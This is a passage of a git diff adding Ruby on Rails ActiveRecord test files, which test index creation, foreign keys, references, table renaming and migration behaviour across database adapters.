+        connection.add_index(table_name, "foo", name: good_index_name)
+
+        assert connection.index_name_exists?(table_name, good_index_name)
+        connection.remove_index(table_name, name: good_index_name)
+      end
+
+      def test_add_index_does_not_accept_too_long_index_names
+        too_long_index_name = good_index_name + "x"
+
+        e = assert_raises(ArgumentError) {
+          connection.add_index(table_name, "foo", name: too_long_index_name)
+        }
+        assert_match(/too long; the limit is #{connection.allowed_index_name_length} characters/, e.message)
+
+        assert_not connection.index_name_exists?(table_name, too_long_index_name)
+        connection.add_index(table_name, "foo", name: good_index_name)
+      end
+
+      def test_internal_index_with_name_matching_database_limit
+        good_index_name = "x" * connection.index_name_length
+        connection.add_index(table_name, "foo", name: good_index_name, internal: true)
+
+        assert connection.index_name_exists?(table_name, good_index_name)
+        connection.remove_index(table_name, name: good_index_name)
+      end
+
+      def test_index_symbol_names
+        connection.add_index table_name, :foo, name: :symbol_index_name
+        assert connection.index_exists?(table_name, :foo, name: :symbol_index_name)
+
+        connection.remove_index table_name, name: :symbol_index_name
+        assert_not connection.index_exists?(table_name, :foo, name: :symbol_index_name)
+      end
+
+      def test_index_exists
+        connection.add_index :testings, :foo
+
+        assert connection.index_exists?(:testings, :foo)
+        assert !connection.index_exists?(:testings, :bar)
+      end
+
+      def test_index_exists_on_multiple_columns
+        connection.add_index :testings, [:foo, :bar]
+
+        assert connection.index_exists?(:testings, [:foo, :bar])
+      end
+
+      def test_index_exists_with_custom_name_checks_columns
+        connection.add_index :testings, [:foo, :bar], name: "my_index"
+        assert connection.index_exists?(:testings, [:foo, :bar], name: "my_index")
+        assert_not connection.index_exists?(:testings, [:foo], name: "my_index")
+      end
+
+      def test_valid_index_options
+        assert_raise ArgumentError do
+          connection.add_index :testings, :foo, unqiue: true
+        end
+      end
+
+      def test_unique_index_exists
+        connection.add_index :testings, :foo, unique: true
+
+        assert connection.index_exists?(:testings, :foo, unique: true)
+      end
+
+      def test_named_index_exists
+        connection.add_index :testings, :foo, name: "custom_index_name"
+
+        assert connection.index_exists?(:testings, :foo)
+        assert connection.index_exists?(:testings, :foo, name: "custom_index_name")
+        assert !connection.index_exists?(:testings, :foo, name: "other_index_name")
+      end
+
+      def test_remove_named_index
+        connection.add_index :testings, :foo, name: "custom_index_name"
+
+        assert connection.index_exists?(:testings, :foo)
+        connection.remove_index :testings, :foo
+        assert !connection.index_exists?(:testings, :foo)
+      end
+
+      def test_add_index_attribute_length_limit
+        connection.add_index :testings, [:foo, :bar], length: { foo: 10, bar: nil }
+
+        assert connection.index_exists?(:testings, [:foo, :bar])
+      end
+
+      def test_add_index
+        connection.add_index("testings", "last_name")
+        connection.remove_index("testings", "last_name")
+
+        connection.add_index("testings", ["last_name", "first_name"])
+        connection.remove_index("testings", column: ["last_name", "first_name"])
+
+        # Oracle adapter cannot have specified index name larger than 30 characters
+        # Oracle adapter is shortening index name when just column list is given
+        unless current_adapter?(:OracleAdapter)
+          connection.add_index("testings", ["last_name", "first_name"])
+          connection.remove_index("testings", name: :index_testings_on_last_name_and_first_name)
+          connection.add_index("testings", ["last_name", "first_name"])
+          connection.remove_index("testings", "last_name_and_first_name")
+        end
+        connection.add_index("testings", ["last_name", "first_name"])
+        connection.remove_index("testings", ["last_name", "first_name"])
+
+        connection.add_index("testings", ["last_name"], length: 10)
+        connection.remove_index("testings", "last_name")
+
+        connection.add_index("testings", ["last_name"], length: { last_name: 10 })
+        connection.remove_index("testings", ["last_name"])
+
+        connection.add_index("testings", ["last_name", "first_name"], length: 10)
+        connection.remove_index("testings", ["last_name", "first_name"])
+
+        connection.add_index("testings", ["last_name", "first_name"], length: { last_name: 10, first_name: 20 })
+        connection.remove_index("testings", ["last_name", "first_name"])
+
+        connection.add_index("testings", ["key"], name: "key_idx", unique: true)
+        connection.remove_index("testings", name: "key_idx", unique: true)
+
+        connection.add_index("testings", %w(last_name first_name administrator), name: "named_admin")
+        connection.remove_index("testings", name: "named_admin")
+
+        # Selected adapters support index sort order
+        if current_adapter?(:SQLite3Adapter, :Mysql2Adapter, :PostgreSQLAdapter)
+          connection.add_index("testings", ["last_name"], order: { last_name: :desc })
+          connection.remove_index("testings", ["last_name"])
+          connection.add_index("testings", ["last_name", "first_name"], order: { last_name: :desc })
+          connection.remove_index("testings", ["last_name", "first_name"])
+          connection.add_index("testings", ["last_name", "first_name"], order: { last_name: :desc, first_name: :asc })
+          connection.remove_index("testings", ["last_name", "first_name"])
+          connection.add_index("testings", ["last_name", "first_name"], order: :desc)
+          connection.remove_index("testings", ["last_name", "first_name"])
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_partial_index
+          connection.add_index("testings", "last_name", where: "first_name = 'john doe'")
+          assert connection.index_exists?("testings", "last_name")
+
+          connection.remove_index("testings", "last_name")
+          assert !connection.index_exists?("testings", "last_name")
+        end
+      end
+
+      private
+        def good_index_name
+          "x" * connection.allowed_index_name_length
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
new file mode 100644
index 0000000000..28f4cc124b
--- /dev/null
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class LoggerTest < ActiveRecord::TestCase
+      # MySQL can't roll back ddl changes
+      self.use_transactional_tests = false
+
+      Migration = Struct.new(:name, :version) do
+        def disable_ddl_transaction; false end
+        def migrate(direction)
+          # do nothing
+        end
+      end
+
+      def setup
+        super
+        ActiveRecord::SchemaMigration.create_table
+        ActiveRecord::SchemaMigration.delete_all
+      end
+
+      teardown do
+        ActiveRecord::SchemaMigration.drop_table
+      end
+
+      def test_migration_should_be_run_without_logger
+        previous_logger = ActiveRecord::Base.logger
+        ActiveRecord::Base.logger = nil
+        migrations = [Migration.new("a", 1), Migration.new("b", 2), Migration.new("c", 3)]
+        ActiveRecord::Migrator.new(:up, migrations).migrate
+      ensure
+        ActiveRecord::Base.logger = previous_logger
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/pending_migrations_test.rb b/activerecord/test/cases/migration/pending_migrations_test.rb
new file mode 100644
index 0000000000..d0066f68be
--- /dev/null
+++ b/activerecord/test/cases/migration/pending_migrations_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class PendingMigrationsTest < ActiveRecord::TestCase
+      def setup
+        super
+        @connection = Minitest::Mock.new
+        @app = Minitest::Mock.new
+        conn = @connection
+        @pending = Class.new(CheckPending) {
+          define_method(:connection) { conn }
+        }.new(@app)
+        @pending.instance_variable_set :@last_check, -1 # Force checking
+      end
+
+      def teardown
+        assert @connection.verify
+        assert @app.verify
+        super
+      end
+
+      def test_errors_if_pending
+        ActiveRecord::Migrator.stub :needs_migration?, true do
+          assert_raise ActiveRecord::PendingMigrationError do
+            @pending.call(nil)
+          end
+        end
+      end
+
+      def test_checks_if_supported
+        @app.expect :call, nil, [:foo]
+
+        ActiveRecord::Migrator.stub :needs_migration?, false do
+          @pending.call(:foo)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/references_foreign_key_test.rb b/activerecord/test/cases/migration/references_foreign_key_test.rb
new file mode 100644
index 0000000000..7a092103c7
--- /dev/null
+++ b/activerecord/test/cases/migration/references_foreign_key_test.rb
@@ -0,0 +1,257 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+if ActiveRecord::Base.connection.supports_foreign_keys_in_create?
+  module ActiveRecord
+    class Migration
+      class ReferencesForeignKeyInCreateTest < ActiveRecord::TestCase
+        setup do
+          @connection = ActiveRecord::Base.connection
+          @connection.create_table(:testing_parents, force: true)
+        end
+
+        teardown do
+          @connection.drop_table "testings", if_exists: true
+          @connection.drop_table "testing_parents", if_exists: true
+        end
+
+        test "foreign keys can be created with the table" do
+          @connection.create_table :testings do |t|
+            t.references :testing_parent, foreign_key: true
+          end
+
+          fk = @connection.foreign_keys("testings").first
+          assert_equal "testings", fk.from_table
+          assert_equal "testing_parents", fk.to_table
+        end
+
+        test "no foreign key is created by default" do
+          @connection.create_table :testings do |t|
+            t.references :testing_parent
+          end
+
+          assert_equal [], @connection.foreign_keys("testings")
+        end
+
+        test "foreign keys can be created in one query when index is not added" do
+          assert_queries(1) do
+            @connection.create_table :testings do |t|
+              t.references :testing_parent, foreign_key: true, index: false
+            end
+          end
+        end
+
+        test "options hash can be passed" do
+          @connection.change_table :testing_parents do |t|
+            t.references :other, index: { unique: true }
+          end
+          @connection.create_table :testings do |t|
+            t.references :testing_parent, foreign_key: { primary_key: :other_id }
+          end
+
+          fk = @connection.foreign_keys("testings").find { |k| k.to_table == "testing_parents" }
+          assert_equal "other_id", fk.primary_key
+        end
+
+        test "to_table option can be passed" do
+          @connection.create_table :testings do |t|
+            t.references :parent, foreign_key: { to_table: :testing_parents }
+          end
+          fks = @connection.foreign_keys("testings")
+          assert_equal([["testings", "testing_parents", "parent_id"]],
+                       fks.map { |fk| [fk.from_table, fk.to_table, fk.column] })
+        end
+      end
+    end
+  end
+end
+
+if ActiveRecord::Base.connection.supports_foreign_keys?
+  module ActiveRecord
+    class Migration
+      class ReferencesForeignKeyTest < ActiveRecord::TestCase
+        setup do
+          @connection = ActiveRecord::Base.connection
+          @connection.create_table(:testing_parents, force: true)
+        end
+
+        teardown do
+          @connection.drop_table "testings", if_exists: true
+          @connection.drop_table "testing_parents", if_exists: true
+        end
+
+        test "foreign keys cannot be added to polymorphic relations when creating the table" do
+          @connection.create_table :testings do |t|
+            assert_raises(ArgumentError) do
+              t.references :testing_parent, polymorphic: true, foreign_key: true
+            end
+          end
+        end
+
+        test "foreign keys can be created while changing the table" do
+          @connection.create_table :testings
+          @connection.change_table :testings do |t|
+            t.references :testing_parent, foreign_key: true
+          end
+
+          fk = @connection.foreign_keys("testings").first
+          assert_equal "testings", fk.from_table
+          assert_equal "testing_parents", fk.to_table
+        end
+
+        test "foreign keys are not added by default when changing the table" do
+          @connection.create_table :testings
+          @connection.change_table :testings do |t|
+            t.references :testing_parent
+          end
+
+          assert_equal [], @connection.foreign_keys("testings")
+        end
+
+        test "foreign keys accept options when changing the table" do
+          @connection.change_table :testing_parents do |t|
+            t.references :other, index: { unique: true }
+          end
+          @connection.create_table :testings
+          @connection.change_table :testings do |t|
+            t.references :testing_parent, foreign_key: { primary_key: :other_id }
+          end
+
+          fk = @connection.foreign_keys("testings").find { |k| k.to_table == "testing_parents" }
+          assert_equal "other_id", fk.primary_key
+        end
+
+        test "foreign keys cannot be added to polymorphic relations when changing the table" do
+          @connection.create_table :testings
+          @connection.change_table :testings do |t|
+            assert_raises(ArgumentError) do
+              t.references :testing_parent, polymorphic: true, foreign_key: true
+            end
+          end
+        end
+
+        test "foreign key column can be removed" do
+          @connection.create_table :testings do |t|
+            t.references :testing_parent, index: true, foreign_key: true
+          end
+
+          assert_difference "@connection.foreign_keys('testings').size", -1 do
+            @connection.remove_reference :testings, :testing_parent, foreign_key: true
+          end
+        end
+
+        test "removing column removes foreign key" do
+          @connection.create_table :testings do |t|
+            t.references :testing_parent, index: true, foreign_key: true
+          end
+
+          assert_difference "@connection.foreign_keys('testings').size", -1 do
+            @connection.remove_column :testings, :testing_parent_id
+          end
+        end
+
+        test "foreign key methods respect pluralize_table_names" do
+          begin
+            original_pluralize_table_names = ActiveRecord::Base.pluralize_table_names
+            ActiveRecord::Base.pluralize_table_names = false
+            @connection.create_table :testing
+            @connection.change_table :testing_parents do |t|
+              t.references :testing, foreign_key: true
+            end
+
+            fk = @connection.foreign_keys("testing_parents").first
+            assert_equal "testing_parents", fk.from_table
+            assert_equal "testing", fk.to_table
+
+            assert_difference "@connection.foreign_keys('testing_parents').size", -1 do
+              @connection.remove_reference :testing_parents, :testing, foreign_key: true
+            end
+          ensure
+            ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names
+            @connection.drop_table "testing", if_exists: true
+          end
+        end
+
+        class CreateDogsMigration < ActiveRecord::Migration::Current
+          def change
+            create_table :dog_owners
+
+            create_table :dogs do |t|
+              t.references :dog_owner, foreign_key: true
+            end
+          end
+        end
+
+        def test_references_foreign_key_with_prefix
+          ActiveRecord::Base.table_name_prefix = "p_"
+          migration = CreateDogsMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("p_dogs").size
+        ensure
+          silence_stream($stdout) { migration.migrate(:down) }
+          ActiveRecord::Base.table_name_prefix = nil
+        end
+
+        def test_references_foreign_key_with_suffix
+          ActiveRecord::Base.table_name_suffix = "_s"
+          migration = CreateDogsMigration.new
+          silence_stream($stdout) { migration.migrate(:up) }
+          assert_equal 1, @connection.foreign_keys("dogs_s").size
+        ensure
+          silence_stream($stdout) { migration.migrate(:down) }
+          ActiveRecord::Base.table_name_suffix = nil
+        end
+
+        test "multiple foreign keys can be added to the same table" do
+          @connection.create_table :testings do |t|
+            t.references :parent1, foreign_key: { to_table: :testing_parents }
+            t.references :parent2, foreign_key: { to_table: :testing_parents }
+          end
+
+          fks = @connection.foreign_keys("testings").sort_by(&:column)
+
+          fk_definitions = fks.map { |fk| [fk.from_table, fk.to_table, fk.column] }
+          assert_equal([["testings", "testing_parents", "parent1_id"],
+                        ["testings", "testing_parents", "parent2_id"]], fk_definitions)
+        end
+
+        test "multiple foreign keys can be removed to the selected one" do
+          @connection.create_table :testings do |t|
+            t.references :parent1, foreign_key: { to_table: :testing_parents }
+            t.references :parent2, foreign_key: { to_table: :testing_parents }
+          end
+
+          assert_difference "@connection.foreign_keys('testings').size", -1 do
+            @connection.remove_reference :testings, :parent1, foreign_key: { to_table: :testing_parents }
+          end
+
+          fks = @connection.foreign_keys("testings").sort_by(&:column)
+
+          fk_definitions = fks.map { |fk| [fk.from_table, fk.to_table, fk.column] }
+          assert_equal([["testings", "testing_parents", "parent2_id"]], fk_definitions)
+        end
+      end
+    end
+  end
+else
+  class ReferencesWithoutForeignKeySupportTest < ActiveRecord::TestCase
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @connection.create_table(:testing_parents, force: true)
+    end
+
+    teardown do
+      @connection.drop_table("testings", if_exists: true)
+      @connection.drop_table("testing_parents", if_exists: true)
+    end
+
+    test "ignores foreign keys defined with the table" do
+      @connection.create_table :testings do |t|
+        t.references :testing_parent, foreign_key: true
+      end
+
+      assert_includes @connection.data_sources, "testings"
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
new file mode 100644
index 0000000000..e41377d817
--- /dev/null
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -0,0 +1,103 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class ReferencesIndexTest < ActiveRecord::TestCase
+      attr_reader :connection, :table_name
+
+      def setup
+        super
+        @connection = ActiveRecord::Base.connection
+        @table_name = :testings
+      end
+
+      teardown do
+        connection.drop_table :testings rescue nil
+      end
+
+      def test_creates_index
+        connection.create_table table_name do |t|
+          t.references :foo, index: true
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
+      end
+
+      def test_creates_index_by_default_even_if_index_option_is_not_passed
+        connection.create_table table_name do |t|
+          t.references :foo
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
+      end
+
+      def test_does_not_create_index_explicit
+        connection.create_table table_name do |t|
+          t.references :foo, index: false
+        end
+
+        assert_not connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
+      end
+
+      def test_creates_index_with_options
+        connection.create_table table_name do |t|
+          t.references :foo, index: { name: :index_testings_on_yo_momma }
+          t.references :bar, index: { unique: true }
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_yo_momma)
+        assert connection.index_exists?(table_name, :bar_id, name: :index_testings_on_bar_id, unique: true)
+      end
+
+      unless current_adapter? :OracleAdapter
+        def test_creates_polymorphic_index
+          connection.create_table table_name do |t|
+            t.references :foo, polymorphic: true, index: true
+          end
+
+          assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
+        end
+      end
+
+      def test_creates_index_for_existing_table
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, index: true
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
+      end
+
+      def test_creates_index_for_existing_table_even_if_index_option_is_not_passed
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
+      end
+
+      def test_does_not_create_index_for_existing_table_explicit
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, index: false
+        end
+
+        assert_not connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)
+      end
+
+      unless current_adapter? :OracleAdapter
+        def test_creates_polymorphic_index_for_existing_table
+          connection.create_table table_name
+          connection.change_table table_name do |t|
+            t.references :foo, polymorphic: true, index: true
+          end
+
+          assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb
new file mode 100644
index 0000000000..769241ba12
--- /dev/null
+++ b/activerecord/test/cases/migration/references_statements_test.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class ReferencesStatementsTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_tests = false
+
+      def setup
+        super
+        @table_name = :test_models
+
+        add_column table_name, :supplier_id, :integer
+        add_index table_name, :supplier_id
+      end
+
+      def test_creates_reference_id_column
+        add_reference table_name, :user
+        assert column_exists?(table_name, :user_id, :integer)
+      end
+
+      def test_does_not_create_reference_type_column
+        add_reference table_name, :taggable
+        assert_not column_exists?(table_name, :taggable_type, :string)
+      end
+
+      def test_creates_reference_type_column
+        add_reference table_name, :taggable, polymorphic: true
+        assert column_exists?(table_name, :taggable_type, :string)
+      end
+
+      def test_does_not_create_reference_id_index_if_index_is_false
+        add_reference table_name, :user, index: false
+        assert_not index_exists?(table_name, :user_id)
+      end
+
+      def test_create_reference_id_index_even_if_index_option_is_not_passed
+        add_reference table_name, :user
+        assert index_exists?(table_name, :user_id)
+      end
+
+      def test_creates_polymorphic_index
+        add_reference table_name, :taggable, polymorphic: true, index: true
+        assert index_exists?(table_name, [:taggable_type, :taggable_id])
+      end
+
+      def test_creates_reference_type_column_with_default
+        add_reference table_name, :taggable, polymorphic: { default: "Photo" }, index: true
+        assert column_exists?(table_name, :taggable_type, :string, default: "Photo")
+      end
+
+      def test_creates_reference_type_column_with_not_null
+        connection.create_table table_name, force: true do |t|
+          t.references :taggable, null: false, polymorphic: true
+        end
+        assert column_exists?(table_name, :taggable_id, :integer, null: false)
+        assert column_exists?(table_name, :taggable_type, :string, null: false)
+      end
+
+      def test_does_not_share_options_with_reference_type_column
+        add_reference table_name, :taggable, type: :integer, limit: 2, polymorphic: true
+        assert column_exists?(table_name, :taggable_id, :integer, limit: 2)
+        assert column_exists?(table_name, :taggable_type, :string)
+        assert_not column_exists?(table_name, :taggable_type, :string, limit: 2)
+      end
+
+      def test_creates_named_index
+        add_reference table_name, :tag, index: { name: "index_taggings_on_tag_id" }
+        assert index_exists?(table_name, :tag_id, name: "index_taggings_on_tag_id")
+      end
+
+      def test_creates_named_unique_index
+        add_reference table_name, :tag, index: { name: "index_taggings_on_tag_id", unique: true }
+        assert index_exists?(table_name, :tag_id, name: "index_taggings_on_tag_id", unique: true)
+      end
+
+      def test_creates_reference_id_with_specified_type
+        add_reference table_name, :user, type: :string
+        assert column_exists?(table_name, :user_id, :string)
+      end
+
+      def test_deletes_reference_id_column
+        remove_reference table_name, :supplier
+        assert_not column_exists?(table_name, :supplier_id, :integer)
+      end
+
+      def test_deletes_reference_id_index
+        remove_reference table_name, :supplier
+        assert_not index_exists?(table_name, :supplier_id)
+      end
+
+      def test_does_not_delete_reference_type_column
+        with_polymorphic_column do
+          remove_reference table_name, :supplier
+
+          assert_not column_exists?(table_name, :supplier_id, :integer)
+          assert column_exists?(table_name, :supplier_type, :string)
+        end
+      end
+
+      def test_deletes_reference_type_column
+        with_polymorphic_column do
+          remove_reference table_name, :supplier, polymorphic: true
+          assert_not column_exists?(table_name, :supplier_type, :string)
+        end
+      end
+
+      def test_deletes_polymorphic_index
+        with_polymorphic_column do
+          remove_reference table_name, :supplier, polymorphic: true
+          assert_not index_exists?(table_name, [:supplier_id, :supplier_type])
+        end
+      end
+
+      def test_add_belongs_to_alias
+        add_belongs_to table_name, :user
+        assert column_exists?(table_name, :user_id, :integer)
+      end
+
+      def test_remove_belongs_to_alias
+        remove_belongs_to table_name, :supplier
+        assert_not column_exists?(table_name, :supplier_id, :integer)
+      end
+
+      private
+
+        def with_polymorphic_column
+          add_column table_name, :supplier_type, :string
+          add_index table_name, [:supplier_id, :supplier_type]
+
+          yield
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
new file mode 100644
index 0000000000..dfce266253
--- /dev/null
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class RenameTableTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_tests = false
+
+      def setup
+        super
+        add_column "test_models", :url, :string
+        remove_column "test_models", :created_at
+        remove_column "test_models", :updated_at
+      end
+
+      def teardown
+        rename_table :octopi, :test_models if connection.table_exists? :octopi
+        super
+      end
+
+      if current_adapter?(:SQLite3Adapter)
+        def test_rename_table_for_sqlite_should_work_with_reserved_words
+          renamed = false
+
+          add_column :test_models, :url, :string
+          connection.rename_table :references, :old_references
+          connection.rename_table :test_models, :references
+
+          renamed = true
+
+          # Using explicit id in insert for compatibility across all databases
+          connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+          assert_equal "http://rubyonrails.com", connection.select_value("SELECT url FROM 'references' WHERE id=1")
+        ensure
+          return unless renamed
+          connection.rename_table :references, :test_models
+          connection.rename_table :old_references, :references
+        end
+      end
+
+      unless current_adapter?(:FbAdapter) # Firebird cannot rename tables
+        def test_rename_table
+          rename_table :test_models, :octopi
+
+          connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+
+          assert_equal "http://www.foreverflying.com/octopus-black7.jpg", connection.select_value("SELECT url FROM octopi WHERE id=1")
+        end
+
+        def test_rename_table_with_an_index
+          add_index :test_models, :url
+
+          rename_table :test_models, :octopi
+
+          connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+
+          assert_equal "http://www.foreverflying.com/octopus-black7.jpg", connection.select_value("SELECT url FROM octopi WHERE id=1")
+          index = connection.indexes(:octopi).first
+          assert_includes index.columns, "url"
+          assert_equal "index_octopi_on_url", index.name
+        end
+
+        def test_rename_table_does_not_rename_custom_named_index
+          add_index :test_models, :url, name: "special_url_idx"
+
+          rename_table :test_models, :octopi
+
+          assert_equal ["special_url_idx"], connection.indexes(:octopi).map(&:name)
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_rename_table_for_postgresql_should_also_rename_default_sequence
+          rename_table :test_models, :octopi
+
+          pk, seq = connection.pk_and_sequence_for("octopi")
+
+          assert_equal ConnectionAdapters::PostgreSQL::Name.new("public", "octopi_#{pk}_seq"), seq
+        end
+
+        def test_renaming_table_renames_primary_key
+          connection.create_table :cats, id: :uuid, default: "uuid_generate_v4()"
+          rename_table :cats, :felines
+
+          assert connection.table_exists? :felines
+          refute connection.table_exists? :cats
+
+          primary_key_name = connection.select_values(<<-SQL.strip_heredoc, "SCHEMA")[0]
+            SELECT c.relname
+              FROM pg_class c
+              JOIN pg_index i
+                ON c.oid = i.indexrelid
+             WHERE i.indisprimary
+               AND i.indrelid = 'felines'::regclass
+          SQL
+
+          assert_equal "felines_pkey", primary_key_name
+        ensure
+          connection.drop_table :cats, if_exists: true
+          connection.drop_table :felines, if_exists: true
+        end
+
+        def test_renaming_table_doesnt_attempt_to_rename_non_existent_sequences
+          connection.create_table :cats, id: :uuid, default: "uuid_generate_v4()"
+          assert_nothing_raised { rename_table :cats, :felines }
+          assert connection.table_exists? :felines
+          refute connection.table_exists? :cats
+        ensure
+          connection.drop_table :cats, if_exists: true
+          connection.drop_table :felines, if_exists: true
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
new file mode 100644
index 0000000000..0fa43583ac
--- /dev/null
+++ b/activerecord/test/cases/migration_test.rb
@@ -0,0 +1,1126 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/migration/helper"
+require "bigdecimal/util"
+require "concurrent/atomic/count_down_latch"
+
+require "models/person"
+require "models/topic"
+require "models/developer"
+require "models/computer"
+
+require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
+require MIGRATIONS_ROOT + "/rename/1_we_need_things"
+require MIGRATIONS_ROOT + "/rename/2_rename_things"
+require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
+
+class BigNumber < ActiveRecord::Base
+  unless current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+    attribute :value_of_e, :integer
+  end
+  attribute :my_house_population, :integer
+end
+
+class Reminder < ActiveRecord::Base; end
+
+class Thing < ActiveRecord::Base; end
+
+class MigrationTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  fixtures :people
+
+  def setup
+    super
+    %w(reminders people_reminders prefix_reminders_suffix p_things_s).each do |table|
+      Reminder.connection.drop_table(table) rescue nil
+    end
+    Reminder.reset_column_information
+    @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+    ActiveRecord::Base.connection.schema_cache.clear!
+  end
+
+  teardown do
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+
+    ActiveRecord::SchemaMigration.create_table
+    ActiveRecord::SchemaMigration.delete_all
+
+    %w(things awesome_things prefix_things_suffix p_awesome_things_s).each do |table|
+      Thing.connection.drop_table(table) rescue nil
+    end
+    Thing.reset_column_information
+
+    %w(reminders people_reminders prefix_reminders_suffix).each do |table|
+      Reminder.connection.drop_table(table) rescue nil
+    end
+    Reminder.reset_table_name
+    Reminder.reset_column_information
+
+    %w(last_name key bio age height wealth birthday favorite_day
+       moment_of_truth male administrator funny).each do |column|
+      Person.connection.remove_column("people", column) rescue nil
+    end
+    Person.connection.remove_column("people", "first_name") rescue nil
+    Person.connection.remove_column("people", "middle_name") rescue nil
+    Person.connection.add_column("people", "first_name", :string)
+    Person.reset_column_information
+
+    ActiveRecord::Migration.verbose = @verbose_was
+  end
+
+  def test_migration_version_matches_component_version
+    assert_equal ActiveRecord::VERSION::STRING.to_f, ActiveRecord::Migration.current_version
+  end
+
+  def test_migrator_versions
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = migrations_path
+
+    ActiveRecord::Migrator.up(migrations_path)
+    assert_equal 3, ActiveRecord::Migrator.current_version
+    assert_equal false, ActiveRecord::Migrator.needs_migration?
+
+    ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
+    assert_equal 0, ActiveRecord::Migrator.current_version
+    assert_equal true, ActiveRecord::Migrator.needs_migration?
+
+    ActiveRecord::SchemaMigration.create!(version: 3)
+    assert_equal true, ActiveRecord::Migrator.needs_migration?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
+
+  def test_migration_detection_without_schema_migration_table
+    ActiveRecord::Base.connection.drop_table "schema_migrations", if_exists: true
+
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = migrations_path
+
+    assert_equal true, ActiveRecord::Migrator.needs_migration?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
+
+  def test_any_migrations
+    old_path = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/valid"
+
+    assert ActiveRecord::Migrator.any_migrations?
+
+    ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/empty"
+
+    assert_not ActiveRecord::Migrator.any_migrations?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
+
+  def test_migration_version
+    assert_nothing_raised { ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947) }
+  end
+
+  def test_create_table_with_force_true_does_not_drop_nonexisting_table
+    # using a copy as we need the drop_table method to
+    # continue to work for the ensure block of the test
+    temp_conn = Person.connection.dup
+
+    assert_not_equal temp_conn, Person.connection
+
+    temp_conn.create_table :testings2, force: true do |t|
+      t.column :foo, :string
+    end
+  ensure
+    Person.connection.drop_table :testings2, if_exists: true
+  end
+
+  def test_migration_instance_has_connection
+    migration = Class.new(ActiveRecord::Migration::Current).new
+    assert_equal ActiveRecord::Base.connection, migration.connection
+  end
+
+  def test_method_missing_delegates_to_connection
+    migration = Class.new(ActiveRecord::Migration::Current) {
